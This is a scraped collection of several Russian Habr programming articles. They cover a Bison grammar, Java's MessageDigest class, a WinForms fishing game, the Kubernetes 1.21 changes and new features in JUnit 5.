Синтаксис файла грамматики для Bison можно легко найти в интернете и в [руководстве](https://www.gnu.org/software/bison/manual/bison.html), поэтому перейду сразу к описанию нашего языка. Синтаксис секции правил файла очень похож на РБНФ и в некотором роде даже более простой для понимания, поэтому привожу получившийся список правил:
```
file
: script YYEOF { *result = ast_script_reverse($1); }
;
script
: /* empty */ { $$ = NULL; }
| script transformation ';' { $$ = ast_script_new($2, $1); }
;
transformation
: T_IDENTIFIER '(' transformation_args ')' {
$$ = ast_transformation_create(NULL, $1, ast_transformation_args_reverse($3),
ast_position_create(@$.first_line, @$.first_column));
}
| T_IDENTIFIER '.' T_IDENTIFIER '(' transformation_args ')' {
$$ = ast_transformation_create($1, $3, ast_transformation_args_reverse($5),
ast_position_create(@$.first_line, @$.first_column));
}
;
transformation_args
: /* empty */ { $$ = NULL; }
| transformation_args_req { $$ = $1; }
;
transformation_args_req
: literal { $$ = ast_transformation_args_new($1, NULL); }
| transformation_args_req ',' literal { $$ = ast_transformation_args_new($3, $1); }
;
literal
: T_INTEGER { $$ = ast_literal_create(L_INTEGER, $1, ast_position_create(@$.first_line, @$.first_column)); }
| T_FLOATING { $$ = ast_literal_create(L_FLOATING, $1, ast_position_create(@$.first_line, @$.first_column)); }
| T_STRING { $$ = ast_literal_create(L_STRING, $1, ast_position_create(@$.first_line, @$.first_column)); }
| T_IDENTIFIER { $$ = ast_literal_create(L_IDENTIFIER, $1, ast_position_create(@$.first_line, @$.first_column)); }
;
```
Здесь кроме определения правил синтаксиса можно видеть также код на Си, заключённый в фигурные скобки. Для тех, кто не знаком с синтаксисом файла грамматики Bison, поясняю: это действия, которые выполняет сгенерированный парсер, когда сворачивает правило. Свёрткой я здесь и далее называю [reduce](https://en.wikipedia.org/wiki/Shift-reduce_parser), операцию объединения нескольких определённых в ходе парсинга символов в один нетерминальный символ, при этом все "семантические значения" символов, которые были свёрнуты доступны по именам `$n`, где n - это номер символа в описании, начиная с 1. Так, в определении правила `script`, в его второй строке, под номером 1 будет нетерминал `script`, использованный при рекурсивной свёртке, а под номером 2, соответственно, трансформация. Здесь же стоит обратить внимание на переменную `$$`, в которую записывается значение, соответствующее текущему сворачиваемому символу. Из кода можно понять, что переменная `@$` означает текущее положение в анализируемом тексте, но об этом позже.
Отдельно стоит отметить наличие здесь правила `file`, единственным назначением которого является запись в переменную и разворачивание списка `script`. К сожалению, по умолчанию генерируемый Bison парсер ни в каком виде не возвращает семантическое значение последнего свёрнутого правила, поэтому приходится явно записывать его в переменную. Для того, чтобы записывать в переменную что-либо, необходимо сначала эту переменную получить, поэтому здесь мы пользуемся возможностями Bison, и указываем в первой секции файла (предполагается, что читатель ознакомлен с общим синтаксисом файла) директиву `%parse-param` с указанием определения аргумента функции `yyparse`, генерируемой Bison. Цельный код получившегося парсера будет представлен ниже.
Следующий ньюанс в написании правил, а точнее, рекурсивных правил, заключается в особенностях работы сгенерированного парсера. Можно заметить, что значения всех рекурсивных правил после полного сворачивания подвергаются реверсу. Казалось бы, можно составить рекурсивное правило таким образом, чтобы порядок был сразу правильным, однако, в таком случае парсер будет испытывать трудности при свёртке, потому что ему придётся держать в стеке большое количество символов, а именно, все символы, необходимые для свёртки всей рекурсии целиком, что может порождать проблемы с памятью при разборе больших файлов.
Последнее, на чём здесь хотелось бы заострить внимание, это дополнительное правило `transformation_args_req`, которое необходимо для корректного парсинга списка, разделённого запятыми. Если его не вводить, не будет возможности построить правило таким образом, чтобы нельзя было оставить "висячую" запятую в начале или в конце списка (или я не знаю как, если есть решение, добро пожаловать в комментарии).
На этом этапе кажется, что можно было бы перейти к описанию лексера, однако есть несколько тонкостей в работе Bison, поэтому придётся написать ещё некоторое количество кода, чтобы парсер компилировался и работал. Под спойлером привожу код парсера, получившийся в итоге:
parser.y
```
%parse-param {struct ast_script ** result} {char ** error}
%{
#include
#include
#include
#include "ast.h"
int yylex(void);
void yyerror(struct ast\_script \*\* result, char \*\* error, const char \* str);
%}
%code requires {
#include "ast.h"
}
%union {
struct ast\_script \* script;
struct ast\_transformation transformation;
struct ast\_transformation\_args \* transformation\_args;
struct ast\_literal literal;
char \* token;
}
%token T\_IDENTIFIER T\_INTEGER T\_FLOATING T\_STRING
%type
``` | https://habr.com/ru/post/529262/ | null | ru | null |
# Криптография в Java. Класс MessageDigest
Привет, Хабр! Представляю вашему вниманию перевод третьей статьи "Java MessageDigest" автора Jakob Jenkov из [серии статей для начинающих](http://tutorials.jenkov.com/java-cryptography/index.html), желающих освоить основы криптографии в Java.
Оглавление:
-----------
1. [Cryptography](https://habr.com/ru/post/444764/)
2. [Cipher](https://habr.com/ru/post/444814/)
3. MessageDigest
4. [Mac](https://habr.com/ru/post/445228/)
5. [Signature](https://habr.com/ru/post/445330/)
6. [KeyPair](https://habr.com/ru/post/445560/)
7. [KeyGenerator](https://habr.com/ru/post/445560/)
8. [KeyPairGenerator](https://habr.com/ru/post/445560/)
9. [KeyStore](https://habr.com/ru/post/445786/)
10. [Keytool](https://habr.com/ru/post/446322/)
11. [Certificate](https://habr.com/ru/post/446888/)
12. [CertificateFactory](https://habr.com/ru/post/446888/)
13. [CertPath](https://habr.com/ru/post/446888/)
Java MessageDigest (Дайджест сообщения)
=======================================
Класс Java MessageDigest представляет криптографическую хеш-функцию, которая может вычислять дайджест сообщения из двоичных данных. Когда вы получаете набор зашифрованных данных, вы не можете быть уверены в том, что он не был изменен во время транспортировки. Дайджест сообщения помогает решить эту проблему.
Чтобы определить, были ли зашифрованные данные модифицированы при транспортировке, отправитель должен рассчитать дайджест сообщения из данных и отправить его вместе с данными. Другая сторона получая зашифрованные данные и дайджест сообщения, может пересчитать дайджест сообщения из данных и проверить, соответствует ли вычисленный дайджест сообщения дайджесту сообщения, полученному с данными. Если два дайджеста сообщения совпадают, существует вероятность того, что зашифрованные данные не были изменены во время транспортировки.
Есть несколько условий, которые должны быть выполнены, чтобы дайджест сообщения был полезен в качестве механизма обнаружения изменений. Однако точные условия являются частью криптографической теории которая не рассматривается в данной статье, а только объясняет, как использовать Java для получения дайджеста сообщения в классе MessageDigest.
### Создание экземпляра MessageDigest
Для создания экземпляра класса MessageDigest, вызывается статический метод *getInstance()* класса MessageDigest. Вот пример создания экземпляра MessageDigest:
```
MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
```
Строковый параметр, передаваемый методу *getInstance()*, определяет используемый алгоритм дайджеста конкретного сообщения.
### Алгоритмы дайджеста сообщения
Java Cryptography API поддерживает следующие алгоритмы дайджеста сообщений (внешние поставщики криптографии могут поддерживать больше):
* MD2
* MD5
* SHA-1
* SHA-256
* SHA-384
* SHA-512
Не все эти алгоритмы одинаково безопасны. На момент написания статьи рекомендуется использовать SHA-256 или выше, чтобы получить максимально возможный уровень безопасности.
### Вычисление дайджеста сообщения
Создав экземпляр MessageDigest, можно использовать его для расчета дайджеста сообщения. Если у вас есть один блок данных для расчета дайджеста сообщения, используйте метод *digest()*. Вот как выглядит вычисление дайджеста сообщения из одного блока данных:
```
byte[] data1 = "0123456789".getBytes("UTF-8");
MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
byte[] digest = messageDigest.digest(data1);
```
Если есть несколько блоков данных для включения в один и тот же дайджест сообщения, вызовите метод *update()* и завершите вызовом *digest()*. Вот как выглядит вычисление дайджеста сообщения из нескольких блоков данных:
```
byte[] data1 = "0123456789".getBytes("UTF-8");
byte[] data2 = "abcdefghijklmnopqrstuvxyz".getBytes("UTF-8");
MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
messageDigest.update(data1);
messageDigest.update(data2);
byte[] digest = messageDigest.digest();
``` | https://habr.com/ru/post/444974/ | null | ru | null |
# Игра на WinForms + C# в 16 лет (2 часть)
Предыстория
-----------
Прошло довольно много времени с момента написания предыдущей [статьи](http://habr.com/ru/post/458630/). Как и обещал я написал вторую часть. Хотелось бы сказать спасибо всем тем, кто давал советы в комментариях, из всех их я смог узнать что-то новое. Ну а для тех кому хочется сразу посмотреть проект [вот ссылка](http://github.com/danilluk1/WForms-Fishing-MVP) на GitHub проекта.
Сразу хочется отметить, что всё, что было добавлено и изменено в этой версии делалось с очень
большим трудом, большим количеством ошибок. мой гугл наполнился большим количеством запросов начиная от особенностей реализации MVP, до асинхронных методов.

Обновления
----------
1. Добавлен свой собственный редактор карт(как в оригинале игры).
2. Реализован эхолот.
3. Добавлена возможность ловить на донку и на спиннинг.
4. Добавлено много видов рыбы.
5. Сильно улучшена производительность проекта.
6. Исправлено большое количество багов.
7. Так же значительное улучшение архитектуры приложения(точнее её появление).
8. Добавлено сохранение профиля игрока.
9. Реализованы трофеи.
10. Добавлена смена дня и ночи.
11. Добавлены путешествия.
12. Реализован продуктовый магазин.
13. Реализован патерн MVP.
14. Реализована система событий в игре
15. Реализована прикормка, с возможностью миксования ингредиентов
16. Добавлена озвучка
17. Добавлены анимации
18. Реализован износ удилищ, в зависимости от размера рыбы и времени вываживания
Больше изменений добавлю в README файл проекта Git.
### Как чужой код ввёл в заблуждение.

Мы видим на скриншоте редактор карт для рыбалки, а именно сетку глубины для каждой локации (Это элементы Label с FormBorderStyle = 0, для того, чтобы показать рамку). Кстати скриншот сделан с использованием моих собственных [ножниц.](https://github.com/danilluk1/ScreenshotManager) В чём заключалась проблема?
**Исходный код**
```
for (int x = 0; x < 51; x++){
for (int y = 0; y < 18; y++){
Point between = new Point(Game.CastPoint.X - LVL.Deeparr[x, y].Location.X,
Game.CastPoint.Y - LVL.Deeparr[x, y].Location.Y);
float distance = (float)Math.Sqrt(between.X * between.X + between.Y * between.Y);
if (distance < 20){
if (Player.getPlayer().lure != null){
Game.gui.DeepLabel.Text = LVL.Deeparr[x, y].Tag.ToString();
Sounder.setY(x);
Sounder.setX(y);
}
}
Game.Deep = Convert.ToInt32(Game.gui.DeepLabel.Text);
}
}
```
Здесь мы видим простой проход по двумерному массиву(причём не правильный). Потом мы вычисляем по теореме Пифагора гипотенузу, и если она < 20, мы определяем нужную клетку. Но этот метод очень плохо работает даже с квадратом. А тут прямоугольники. Поэтому часто клетка определяется неправильно. В своё оправдание могу сказать, что этот код я взял с YouTube.
Итак, нам нужно определить в какой клетке находится курсор. Для этого можно применить данный исходный код:
**Код**
```
for (var y = 0; y < CurLvl.Height; y++) {
for (var x = 0; x < CurLvl.Widgth; x++) {
var r = new Rectangle(CurLvl.DeepArray[x, y].Location, new
System.Drawing.Size(LabelInfo.Width, LabelInfo.Height));
if (r.IntersectsWith(new Rectangle(point, new System.Drawing.Size(1, 1)))) {
//SomeCode
}
}
}
```
Здесь мы берем координаты курсора, кастим их в PointToClient, и передаём в конструктор Rectangle, размеры указываем 1 и 1. Потом мы используем стандартный метод IntersectsWith проверяем, пересечение курсора, и label. Также, мы не можем просто обработать клик по label, так как форма с ними не показывается.
Также, это позволило реализовать поддержку 3-х удилищ для ловли.
Генерация рыбы
--------------
Итак, основная часть игры это генерация рыбы. Она происходит в несколько этапов:
1.При заходе на локацию мы из строки типа:
Карась Золотой:25 250-400 [Сыр, Червь, Опарыш, Кукуруза] Где содержится размер рыбы в процентах от максимального, глубина минимальная, глубина максимальная, и список наживок получаем объект рыбы(Не забыв предварительно проверив строку через регулярные выражения). Для красоты кода я определил оператор который кастит строку к рыбе.
```
public static explicit operator Fish(FishString fs) {
return fs.GetFishByStr();
}
```
В итоге такой подход позволяет нам написать:
```
Fish fish = (Fish)new FishString("Карась Золотой: 25 250 - 400
[
Сыр,
Червь,
Опарыш,
Кукуруза
]");
```
Код приведен для примера и не встречается в проекте в подобном виде.
2.Теперь нам надо дождаться, когда удочки будут закинуты, после этого мы запускаем таймер (свой для каждой удочки) со случайным временем поклёвки, дальше по тику таймера из нашего списка рыб размеров 1000 единиц, выбираем рыб, глубина обитания которых включает в себя глубину удочки.
3. Из этого списка случайно выбираем рыбу. Проверяем может ли съесть установленную наживку, и также проверяем, чтобы время суток активности рыбы соответствовало текущему времени в игре.
4. Если рыба может съесть наживку, производим атаку на приманку. Вычисляем, будет ли сход и через какое время, основываясь на шансе схода установленного крючка. Если рыба не может съесть наживку, то циклом проходимся по текущей прикормке(если она есть). Проверяем, нет ли рядом рыбы, которая может клюнуть на наживку, и повторяем всё тоже самое.
Благодаря процессу генерации, я стал уверенным пользователем LINQ.
Сама игра
---------

Скриншот продуктового магазина.
Его исходник можно посмотреть в репозитории. Там довольно интересно выполнены обработчики MouseEnter и MouseLeft для изменения изображений еды.

Скриншот формы для путешествий. (Все водоёмы являются тестовыми и их названия не являются подлинными.)

Скриншот игрового мира
Планы
-----
1. Сделать клиент-сервер для игры
2. Junior FPGA(ПЛИС) Developer
3. Распознавание лиц через Веб камеру(Ищу литературу, которая может быть полезна)
4. Замена обычных ListView на ObjectListView
В конце предыдущей статьи, я писал, что хочу устроиться на работу. Ну что ж, в сентябре я закрыл своё первое ТЗ по SNMP, правда на языке C.
Вывод
-----
Проект стал довольно большим, с хоть не идеальной, но очень достойной кодовой базой, удобной в сопровождении.Где-то могут нарушаться принципы SOLID, но это из-за того, что проект очень сильно затянулся. Также, если вы начинающий разработчик, и ищите проект, в котором можно поучаствовать, можете делать коммиты в данный репозиторий. Список ожидаемый изменений можно посмотреть в README файле проекта.
Также хочется отметить, что я не вижу перспектив в карьере C# разработчика, вернее мне бы хотелось чего-то более близкого к железу, поэтому пробую изучение более низкоуровневых языков.
Всем спасибо, кто прочитал до конца, любая критика исходного кода приветствуется и будет сразу рассмотрена. | https://habr.com/ru/post/479864/ | null | ru | null |
# Kubernetes 1.21 — неожиданно много изменений…
Новая эмблема символизирует распределение членов команды выпуска релиза по земному шару — от UTC-8 до UTC+8 (похоже, ни японцев, ни корейцев в команде нет). Эмблему нарисовал Aravind Sekar, независимый дизайнер из Индии. На мой взгляд, [котики](https://habr.com/ru/company/southbridge/blog/532134/) были круче.
Но давайте перейдем к чтению [changelog](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.21.md) и особенно моему любимому разделу **Urgent Upgrade Notes.**
---
#### CronJob
Сообщение в [блоге](https://kubernetes.io/blog/2021/04/08/kubernetes-1-21-release-announcement/#cronjobs-graduate-to-stable) гласит, что CronJob объявлены stable, но далее есть небольшое уточнение — стабильным объявлена версия API, то есть структура манифеста kind: cronJob, а вот с контроллером, который и отвечает за реализацию логики работы, все намного интереснее.
В версии 1.20 был добавлен CronJob контроллер версии 2. В новой версии 1.21 его перевели в стадию бета и включили по умолчанию. В версии 1.22 планируется удалить код старого CronJob контроллера. Очень, очень быстрые изменения, обычно не свойственные циклам релизов в Kubernetes.
Причем в документации все [Cronjob limitations](https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/#cron-job-limitations), о которых я [писал на Хабре](https://habr.com/ru/company/southbridge/blog/526130/), остались без изменений.
Зачем тогда делали новый контроллер, если все проблемы с кронджобами остались нерешенными? Ответ есть в этой [статье](https://kubernetes.io/blog/2021/04/09/kubernetes-release-1.21-cronjob-ga/) — старый контроллер излишне нагружал API Kubernetes и не успевал создавать Job, если в кластере было больше 1000 Cronjob манифестов. Новая версия контроллера написана согласно последним [гайдлайнам](https://github.com/kubernetes/community/blob/master/contributors/devel/sig-api-machinery/controllers.md#readme) и намного быстрее.
#### Immutable Secret and ConfigMap
Добавили возможность создавать защищенные от изменений секреты и конфиг мапы. Видимо, защита от джунов, которые "pushed bad configuration". На мой взгляд, ConfigMap надо деплоить через helm чарты, а секреты хранить в Vault. Там, где есть история изменений, а ваш CI/CD не должен позволять выкатывать нерабочие конфиги на прод.
#### IPv4/IPv6 Dual-Stack support
Поддержка IPv6 теперь включена по умолчанию, единственная тонкость — ваш CNI также должен уметь в Dual-Stack. Calico умеет)
#### Graceful Node Shutdown
Kubelet научился определять ситуацию, когда узел выключается командой shutdown, и теперь посылает подам sigterm. *TODO*: Протестировать, не завершается ли container runtime быстрее kubelet, и что будет при простом `systemctl shutdown kubelet.`
#### PodSecurityPolicy Deprecation
Еще одна неоднозначная новость. **PSP** объявлены устаревшими и запланированы к удалению в версии 1.25. Но при этом **PSP Replacement Policy** (полиси для замены полиси) находятся в состоянии проекта, а альфа-версию обещают показать только в Kubernetes 1.22. Кратко ознакомиться, что же там проектируется, можно в [KEP #2582](https://github.com/kubernetes/enhancements/pull/2582/files). Самое странное из того, что там написано, на мой взгляд, — это предложение использовать namespace label, чтобы определять, по каким правилам проверять манифесты подов. Получается, что, выдав кому-либо права на редактирование неймспейса, вы даете ему и простой способ получить права администратора кластера.
Подождем и посмотрим, что же будет в итоге, а пока нам предлагают плавно переходить на использование [стандартных PSP](https://kubernetes.io/docs/concepts/security/pod-security-standards/), аналоги которых в виде встроенных профилей будут захардкожены в новый admission plugin PSPv2.
Или переходить на использование сторонних решений, таких как [Open Policy Agent Gatekeeper](https://open-policy-agent.github.io/gatekeeper/website/docs/howto).
#### Urgent Upgrade Notes
По умолчанию теперь используется cgroupDriver systemd. Не забывайте проверять настройки своего containerd при установке нового кластера или добавлении узлов. Но и это еще не все. В версии 1.22 обещают принудительную смену cgroup driver в kubelet на systemd при обновлении кластера, поэтому пора уже почитать [руководство по миграции](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/configure-cgroup-driver/) и начать смену драйвера.
Много мелких изменений в районе CSI и PV: перестают использоваться старые метки, флаги и метрики. В принципе ничего страшного, скорее всего, надо будет просто обновить используемые CSI драйверы.
Команды `kubeadm kubeconfig user`, `certs` и `debug` переведены из экспериментальных в постоянные, и теперь их надо указывать без слова `alpha`.
Продолжают урезать функционал команды `kubectl run`. Убрали целый набор ключей для создания `service` и `cronjob`, объявили устаревшими ключи для установки реквестов и лимитов, сервисаккаунта и использования hostport. В общем активно заставляют использовать только готовые yaml-манифесты для создания объектов кластера.
К большому моему сожалению, окончательно убрали поддержку ключа `kubectl --export.` А как было удобно с помощью этого ключа получать из готового объекта кластера манифест для создания его копии, например, секрет с TLS сертификатом скопировать в другой namespace.
Всем, кто использует vSphere версии меньшей, чем 67u3, рекомендуют обновиться, время есть до выхода kubernetes 1.24.
#### Интересные мелкие новшества
В NetworkPolicy добавили поле endPort для поддержки диапазонов портов. Радуйтесь, любители запускать Asterisk в кластере.
В DaemonSets добавили поле MaxSurge, теперь во время обновления демонсета можно указать, чтобы сначала на узле создавался новый под, а после его запуска удалялся старый.
В команды `kubectl` `exec` и `portforward` добавили keepalive пинги, и теперь промежуточные HTTP-балансировщики не будут обрывать соединение, если в нем нет активности.
В Job добавили поле suspend и написали про это целую статью в [блоге](https://kubernetes.io/blog/2021/04/12/introducing-suspended-jobs/). Вот только я не понял, какой в этом смысл — имитация работы Kafka или Rabbitmq?
Появилась возможность выбирать неймспейсы по их имени. Просто в манифест неймспейса автоматически добавляют метку `kubernetes.io/metadata.name`.
В Service добавили поле `InternalTrafficPolicy`. Если указать в нем значение `Local`, трафик будет направляться только на поды, расположенные на том же узле кластера, что и под, отправивший запрос. Пока в альфа-статусе, для использования надо включить `featureGate = ServiceInternalTrafficPolicy`.
Наконец-то включили [TTL Controller](https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/), который позволяет удалять манифесты завершившихся Job.
В манифест подов добавили аннотацию `kubectl.kubernetes.io/default-container`, с помощью которой можно указать, в какой контейнер пода делать exec, чьи логи смотреть и тому подобное, если при вызове не указан ключ `-c`. | https://habr.com/ru/post/551684/ | null | ru | null |
# 10 интересных нововведений в JUnit 5
В минувшее воскресенье [Sam Brannen](https://twitter.com/sam_brannen) анонсировал выход [JUnit 5](http://junit.org/junit5/)! Ура!

Поздравляю всех участников [@JUnitTeam](https://twitter.com/junitteam) а также всех, кто использует JUnit в своей работе! Давайте посмотрим, что же нам приготовили в этом релизе.
#### Содержание
**[0. Введение](#intro)**
**[1. Начало работы](#getting-started)**
**[2. Обзор нововведений](#overview)**
**[2.1. public — всё](#o-01)**
**[2.2. Продвинутый assert](#o-02)**
**[2.3. Работа с исключениями](#o-03)**
**[2.4. Новый Test](#o-04)**
**[2.5. Новые базовые аннотации](#o-05)**
**[2.6. Вложенные классы](#o-06)**
**[2.7. Разделяемый инстанс класса для запуска тестов](#o-07)**
**[2.8. Автоматический повторный запуск теста](#o-08)**
**[2.9. Параметризированные тесты](#o-09)**
**[2.10. Аннотированные default методы в интерфейсах](#o-10)**
**[3. Заключение](#conclusion)**
#### 1. Введение
Итак, официальный сайт начинает с того, что сообщает нам о новом строении JUnit:
> JUnit 5 = JUnit Platform + JUnit Jupiter + JUnit Vintage (← [офф.сайт](http://junit.org/junit5/docs/current/user-guide/#overview-what-is-junit-5)).
***JUnit Platform*** — фундаментальная основа для запуска на JVM фреймворков для тестирования. Платформа предоставляет [TestEngine API](http://junit.org/junit5/docs/current/api/org/junit/platform/engine/TestEngine.html), для разработки фреймворков (для тестирования), которые могут быть запущены на платформе. Кроме этого, в платформе имеется [Console Launcher](http://junit.org/junit5/docs/current/user-guide/#running-tests-console-launcher) для запуска платформы из коммандной строки а также для запуска любого JUnit 4 Runner'а на платформе. Уже, кстати, есть плагины для [Gradle](http://junit.org/junit5/docs/current/user-guide/#running-tests-build-gradle) и [Maven](http://junit.org/junit5/docs/current/user-guide/#running-tests-build-maven).
***JUnit Jupiter*** — сердце JUnit 5. Этот проект предоставляет новые возможности для написания тестов и создания собственных расширений. В проекте реализован специальный TestEngine для запуска тестов на ранее описанной платформе.
***JUnit Vintage*** — поддержка легаси. Определяется TestEngine для запуска тестов ориентированных на JUnit 3 и JUnit 4.
#### 1. Начало работы
В интернете уже полно примеров для настройки [Gradle](https://github.com/junit-team/junit5-samples/tree/master/junit5-gradle-consumer) и [Maven](https://github.com/junit-team/junit5-samples/tree/master/junit5-maven-consumer) проектов. В блоге JetBrains есть отдельный пост, посвященный настройке [JUnit 5 в IDEA](https://blog.jetbrains.com/idea/2016/08/using-junit-5-in-intellij-idea/).
#### 2. Обзор нововведений
А теперь наконец-то перейдем к примерам!
**2.1. public — всё**
JUnit больше не требует, чтобы методы были публичными.
```
@Test
void test() {
assertEquals("It " + " works!" == "It works!");
}
```
**2.2. Продвинутый assert**
Опциональное сообщение сделали последним аргументом.
```
assertEquals(2017, 2017, "The optional assertion message is now the last parameter.");
```
В пятой версии для конструирования сообщения можно использовать Supplier.
```
assertTrue("habr" == "habr", () -> "Assertion messages can be lazily evaluated");
```
Добавили специальный метод для логической группировки тестов.
```
// в группе все ассерты исполняются независимо,
// успех - когда прошли успешно все ассерты
assertAll("habr",
() -> assertThat("https://habrahabr.ru", startsWith("https")),
() -> assertThat("https://habrahabr.ru", endsWith(".ru"))
);
```
Появился метод для работы с Iterable.
```
assertIterableEquals(asList(1, 2, 3), asList(1, 2, 3));
```
Добавили интересный метод для сравнения набора строк. Поддерживаются регулярные выражения!
```
Assertions.assertLinesMatch(
asList("можно сравнивать строки", "а можно по regex: \\d{2}\\.\\d{2}\\.\\d{4}"),
asList("можно сравнивать строки", "а можно по regex: 12.09.2017")
);
```
**2.3. Работа с исключениями**
Работа с исключениями стала более линейной.
```
Throwable exception = assertThrows(IllegalArgumentException.class, () -> {
throw new IllegalArgumentException("что-то пошло не так");
});
assertEquals("что-то пошло не так", exception.getMessage());
```
**2.4. Новый Test**
JUnit 5 привнес новую аннотацию [Test](https://habrahabr.ru/users/test/), которая находится в пакете *org.junit.jupiter.api.Test*. В отличии от четвертой версии, новая аннотация служит исключительно маркером.
**Посмотреть различия**
```
// JUnit 4
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD})
public @interface Test {
Class extends Throwable expected() default Test.None.class;
long timeout() default 0L;
public static class None extends Throwable {
private static final long serialVersionUID = 1L;
private None() {
}
}
}
```
Новая аннотация выглядит так.
```
// JUnit 5
@Target({ ElementType.ANNOTATION_TYPE, ElementType.METHOD })
@Retention(RetentionPolicy.RUNTIME)
@Documented
@API(Stable)
@Testable
public @interface Test {
}
```
**2.5. Новые базовые аннотации**
В пятой версии добавили новые *базовые* аннотации.
**Посмотреть хороший пример.**
```
import static org.junit.jupiter.api.Assertions.fail;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
class StandardTests {
// вместо @BeforeClass
@BeforeAll
static void initAll() {
}
// вместо @Before
@BeforeEach
void init() {
}
@Test
void succeedingTest() {
}
@Test
void failingTest() {
fail("a failing test");
}
// Вместо @Ignore
@Test
@Disabled("for demonstration purposes")
void skippedTest() {
// not executed
}
// Новая аннотация для улучшения читаемости при выводе результатов тестов.
@DisplayName("╯°□°)╯")
void testWithDisplayNameContainingSpecialCharacters() {}
// вместо @After
@AfterEach
void tearDown() {
}
// вместо @AfterClass
@AfterAll
static void tearDownAll() {
}
}
```
**2.6. Вложенные классы**
Аннотация @Nested позволяет использовать внутренние классы при разработке тестов, что позволяет иногда более удобным способом группировать/дополнять тесты.
**Пример из официальной документации.**
```
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import java.util.EmptyStackException;
import java.util.Stack;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Nested;
import org.junit.jupiter.api.Test;
@DisplayName("A stack")
class TestingAStackDemo {
Stack stack;
@Test
@DisplayName("is instantiated with new Stack()")
void isInstantiatedWithNew() {
new Stack<>();
}
@Nested
@DisplayName("when new")
class WhenNew {
@BeforeEach
void createNewStack() {
stack = new Stack<>();
}
@Test
@DisplayName("is empty")
void isEmpty() {
assertTrue(stack.isEmpty());
}
@Test
@DisplayName("throws EmptyStackException when popped")
void throwsExceptionWhenPopped() {
assertThrows(EmptyStackException.class, () -> stack.pop());
}
@Test
@DisplayName("throws EmptyStackException when peeked")
void throwsExceptionWhenPeeked() {
assertThrows(EmptyStackException.class, () -> stack.peek());
}
@Nested
@DisplayName("after pushing an element")
class AfterPushing {
String anElement = "an element";
@BeforeEach
void pushAnElement() {
stack.push(anElement);
}
@Test
@DisplayName("it is no longer empty")
void isNotEmpty() {
assertFalse(stack.isEmpty());
}
@Test
@DisplayName("returns the element when popped and is empty")
void returnElementWhenPopped() {
assertEquals(anElement, stack.pop());
assertTrue(stack.isEmpty());
}
@Test
@DisplayName("returns the element when peeked but remains not empty")
void returnElementWhenPeeked() {
assertEquals(anElement, stack.peek());
assertFalse(stack.isEmpty());
}
}
}
}
```
**2.7. Разделяемый инстанс класса для запуска тестов**
Для гарантии независимости и изоляциии тестов JUnit во всех предыдущих версиях всегда создавал по инстансу на тест (т.е. на каждый запуск метода отдельный инстанс). В пятой версии такое поведение можно изменить используя новую аннотацию @TestInstance(Lifecycle.PER\_CLASS). В таком случае инстанс будет создан только один раз и будет переиспользован для запуска всех тестов, определенных внутри этого класса.
**2.8. Автоматический повторный запуск теста**
Еще одна приятная добавка! Аннотация @RepeatedTest сообщает JUnit, что данный тест нужно запустить несколько раз. При этом, каждый такой вызов будет независимым тестом, а значит для него будут работать аннотации @BeforeAll, @BeforeEach, @AfterEach и @AfterAll.
```
@RepeatedTest(5)
void repeatedTest() {
System.out.println("Этот тест будет запущен пять раз. ");
}
```
Стоит отметить, что можно настроить дополнительный вывод информации о запусках теста. Например, показывать номер запуска. За это отвечают специальные константы определенные внутри этой же аннотации.
**2.9. Параметризированные тесты**
Параметризированные тесты позволяют запускать тест несколько раз с различными входными данными. На данный момент поддерживаются только данные примитивных типов: *int*, *long*, *double*, *String*. Но не стоит отчаиваться! JUnit 5 определяет несколько дополнительных аннотаций для указания источника данных для параметризированных тестов. Итак, начнём!
```
@ParameterizedTest
@ValueSource(strings = { "Hello", "World" })
void testWithStringParameter(String argument) {
assertNotNull(argument);
}
```
Еще один вдохновляющий пример с @ValueSource.
```
@ParameterizedTest
@ValueSource(strings = { "01.01.2017", "31.12.2017" })
void testWithConverter(@JavaTimeConversionPattern("dd.MM.yyyy") LocalDate date) {
assertEquals(2017, date.getYear());
}
```
Пример с разбором CSV.
```
@ParameterizedTest
@CsvSource({ "foo, 1", "bar, 2", "'baz, qux', 3" })
// или даже так: @CsvFileSource(resources = "/two-column.csv")
void testWithCsvSource(String first, int second) {
assertNotNull(first);
assertNotEquals(0, second);
}
```
Пример с Enum.
```
@ParameterizedTest
@EnumSource(value = TimeUnit.class, names = { "DAYS", "HOURS" })
void testWithEnumSourceInclude(TimeUnit timeUnit) {
assertTrue(EnumSet.of(TimeUnit.DAYS, TimeUnit.HOURS).contains(timeUnit));
}
```
Пример с источником данных.
```
@ParameterizedTest
@ArgumentsSource(MyArgumentsProvider.class)
void testWithArgumentsSource(String argument) {
assertNotNull(argument);
}
static class MyArgumentsProvider implements ArgumentsProvider {
@Override
public Stream extends Arguments provideArguments(ExtensionContext context) {
return Stream.of("foo", "bar").map(Arguments::of);
}
}
```
Еще больше крутых примеров можно найти на официальном сайте в разделе [3.13. Parameterized Tests](http://junit.org/junit5/docs/current/user-guide/#writing-tests-parameterized-tests).
**2.10. Аннотированные default методы в интерфейсах**
JUnit теперь умеет работать с default методами в интерфейсах! Вот один из официальных примеров применения этого нововведения. Предлагаю посмотреть интересный пример с Equals Contract.
```
public interface Testable {
T createValue();
}
```
```
public interface EqualsContract extends Testable {
T createNotEqualValue();
@Test
default void valueEqualsItself() {
T value = createValue();
assertEquals(value, value);
}
@Test
default void valueDoesNotEqualNull() {
T value = createValue();
assertFalse(value.equals(null));
}
@Test
default void valueDoesNotEqualDifferentValue() {
T value = createValue();
T differentValue = createNotEqualValue();
assertNotEquals(value, differentValue);
assertNotEquals(differentValue, value);
}
}
```
#### Заключение
